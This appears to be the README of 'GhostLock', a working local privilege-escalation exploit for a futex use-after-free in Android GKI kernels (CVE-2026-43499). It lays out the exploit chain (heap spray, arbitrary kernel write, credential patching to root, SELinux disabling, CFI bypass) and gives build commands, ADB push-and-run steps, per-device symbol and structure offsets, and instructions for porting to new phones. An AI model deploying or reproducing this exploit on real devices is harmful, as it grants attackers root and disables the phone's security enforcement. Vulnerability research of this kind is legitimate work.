## https://sploitus.com/exploit?id=20260521-9AF1-56DF-9C39-605DFDEBA17B
# GhostLock - CVE-2026-43499 Local Privilege Escalation Exploit
## Vulnerability Overview
**CVE Number:** CVE-2026-43499
** Vulnerability Type:** futex PI (Priority Inheritance) Stack UAF (Use-After-Free)
**Scope:** Linux Kernel 6.1–6.12 (Android GKI)
**Exploit Outcome:** Local privilege escalation + SELinux disablement, obtaining a root shell
## How It Works
### Vulnerability Trigger Path
```
User space → pselect() → Allocation of `rt_mutex_waiter` on the kernel stack
→ futex PI operation triggers the release of the `waiter`
→ The memory of the released waiter is reused by an `fd_set` operation
→ Control the waiter fields via a carefully crafted `fd_set` data structure
→ `rb_erase()` triggers arbitrary writes to kernel memory
```
### Exploit Chain
1. **Vulnerability Trigger:** Use `pselect()` combined with futex PI to race-conditions the release of an `rt_mutex_waiter` on the kernel stack
2. **Memory Layout Control:** Use `pipe_buffer` to overwrite the kernel heap and construct a fake `rt_mutex_waiter`
3. **Arbitrary Write:** Exploit the tree operations of `rb_erase()` to write a controlled pointer to the target address
4. **Elevation Path:**
- Modify the `cred` structure: uid/gid → 0, capabilities → all enabled
- Disable SELinux: `selinux_state.enforcing` → 0
5. **Verification:** Rescan `ashmem_fops` to confirm CFI integrity
## Project Structure
```
GhostLock/
├── README.md # This document
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Main entry point, vulnerability trigger
│ │ ├── pipe.c # pipe_buffer injection
│ │ ├── fops.c # File operation hijacking
│ │ ├── root.c # Privilege escalation + SELinux disabling
│ │ ├── slide.c # Kernel address randomization handling
│ │ ├── util.c # Utility Functions
│ │ ├── miniadb.c # Mini ADB Server
│ │ ├── common.h # Common Definitions
│ │ ├── target.h # Target Configuration
│ │ ├── offset.h # Offset header
│ │ ├── runtime_offsets.h # Runtime offset table
│ │ └── kernelsnitch/ # Kernel address detection
│ │ ├── kernelsnitch.h
│ │ ├── futex_hash.h
│ │ ├── utils.h
│ │ └── timeutils.h
│ └── devices/ # Device Adaptation
│ ├── offsets.h # Offset Structure Definitions
│ ├── findx8/ # OPPO Find X8
│ │ └── offsets.h
│ ├── ace6t/ # OnePlus Ace 6T
│ │ └── offsets.h
│ ├── op15/ # OnePlus 15
│ │ └── offsets.h
│ ├── opd2502/ # OnePlus Pad 2
│ │ └── offsets.h
│ └── rmx5070/ # Realme RMX5070
│ └── offsets.h
├── tools/ # Support tools
│ └── extract_btf.py # BTF offset extraction script
├── btf_*.py # Collection of BTF analysis scripts
├── Makefile # Build script
├── compile.cmd # Windows compilation script
├── build.rsp # Compilation response file
└── ghostlock # Compilation output (ELF aarch64)
```
## Supported Devices
| Device | Kernel Version | Status |
|------|----------|------|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | ✅ Ported |
| OnePlus Ace 6T | 6.1.x | ✅ Verified |
| OnePlus 15 | 6.1.x | ✅ Verified |
| OnePlus Pad 2 | 6.1.x | ✅ Verified |
| Realme RMX5070 | 6.1.x | ✅ Verified |
## Compilation
### Environment Requirements
- Android NDK r27c or later
- Python 3.x (for BTF analysis)
- Linux/macOS/WSL (Linux recommended)
### Compilation Steps
```bash
# 1. Set the NDK path
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
# 2. Compile
make
# 3. Or compile directly using the NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
--target=aarch64-linux-android35 \
-O2 -Wall -fPIE -pie -pthread \
-Isrc/core -Isrc/devices \
-DTARGET_CONFIG_H="target.h" \
src/core/*.c -o ghostlock
```
### Compiling on Windows
```cmd
# Use the provided `compile.cmd`
compile.cmd
```
## Usage
### Prerequisites
1. USB debugging is enabled on the phone
2. ADB drivers are installed on the computer
3. The phone is connected to the computer via USB
### Steps
```bash
# 1. Verify the device is connected
adb devices
# 2. Verify the kernel version (must match)
adb shell uname -r
# Expected output: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
# 3. Push the exploit to the phone
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock
# 4. Run the exploit
adb shell /data/local/tmp/ghostlock
```
### Example Run Output
```
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
```
### Success Indicators
- The `#` prompt appears (root shell)
- The `id` command displays `uid=0 (root)`
- The `getenforce` command returns `Permissive`
## Technical Details
### Kernel Memory Layout
```
KIMAGE_TEXT_BASE = 0xffffffc080000000 (Find X8)
PAGE_OFFSET = 0xffffffc000000000
PHYS_OFFSET = 0x40000000
DIRECT_MAP_END = 0xffffffc400000000 (16GB RAM)
```
### Key Symbol Offsets (Find X8)
| Symbol | Offset |
|------|------|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |
### Structure Offsets (BTF Verification)
| Structure | Field | Offset |
|--------|------|------|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |
### Exploit Path
1. **kernelsnitch** - Scan the `direct_map` region to locate `mm_struct`
2. **pipe spray** - Use `pipe_buffer` to occupy freed waiter memory
3. **pselect trigger** - Trigger a UAF and reuse the freed waiter
4. **rb_erase write** - Achieve arbitrary writes via red-black tree operations
5. **cred patch** - Modify the current process’s credentials
6. **SELinux disable** - Disable mandatory access control
## Device Adaptation
### Adding a New Device
1. **Extract the kernel image:**
```bash
# Extract boot.img from the phone
adb pull /dev/block/by-name/boot boot.img
# Or extract from the firmware package
```
2. **Extract kallsyms:**
```bash
# Use vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# Select the "Extract kallsyms" option
```
3. **Extract BTF information:**
```bash
python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt
```
4. **Create a device entry:**
```bash
mkdir -p src/devices/mydevice
# Copy an existing entry as a template
cp src/devices/findx8/offsets.h src/devices/mydevice/
# Modify the offsets
```
5. **Register the device:**
Add the following to `src/devices/offsets.h`:
```c
#include "mydevice/offsets.h"
```
### How to Obtain Offsets
| Information | Source | Tool |
|------|------|------|
| Symbol Address | kallsyms | vmlinux-to-elf |
| Structure Offset | BTF | btf_task2.py |
| Physical Memory Layout | IKCONFIG | extract-ikconfig |
| Kernel Version | uname | adb shell uname -r |
## Tool Scripts
### BTF Analysis Scripts
```bash
# Extract all members of `task_struct`
python3 btf_task2.py > task_full.txt
# Extract all key structures
python3 btf_structs2.py > structs.txt
# Extract specific structures
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt
# Extract raw BTF data
python3 btf_raw.py > raw.txt
```
### Extracting kallsyms
```bash
# Using vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin
# Or using a custom script
python3 run_kallsyms_finder.py
```
## Security Notes
⚠️ **Warning:** This tool is intended solely for security research and authorized testing. Unauthorized use on another person’s device is illegal.
### Known Limitations
- USB debugging must be enabled
- An ADB connection is required (cannot be exploited remotely)
- The kernel version must match exactly
- Some devices may have additional security mechanisms
### CFI Protection
This exploit bypasses the kernel’s Control Flow Integrity (CFI) protection by:
1. Verifying the validity of the `ashmem_fops` address
2. Using `copy_splice_read` as a legitimate call target
3. Rescanning to confirm CFI integrity
## Debugging
### Frequently Asked Questions
**Q: I get the error "no offsets for kernel: xxx"**
A: The kernel version is not supported; you need to add a device entry
**Q: The exploit is stuck**
A: This may be due to a failed race condition; please retry a few times
**Q: A kernel panic occurs**
A: This is unlikely (panic_on_oops is not set), but you can check `dmesg`
### Debug Output
```bash
# Enable verbose output
adb shell /data/local/tmp/ghostlock -v
# View kernel logs
adb shell dmesg | tail -50
```
## Related Resources
- [CVE-2026-43499 Details](https://nvd.nist.gov/vuln/detail/CVE-2026-43499)
- [Original GhostLock Research](https://github.com/wzhdgithub/GhostLock)
- [Android GKI Kernel](https://source.android.com/docs/core/architecture/kernel/generic-kernel-image)
## License
This project is licensed under the [MIT License](LICENSE).
## Acknowledgments
- Thanks to all security researchers for their contributions
- Thanks to the Android security team for their response
- Thanks to the open-source community for their support
---
**Last Updated:** August 13, 2026
**Author:** wzh
**Contact:** yjhsbwssg@163.com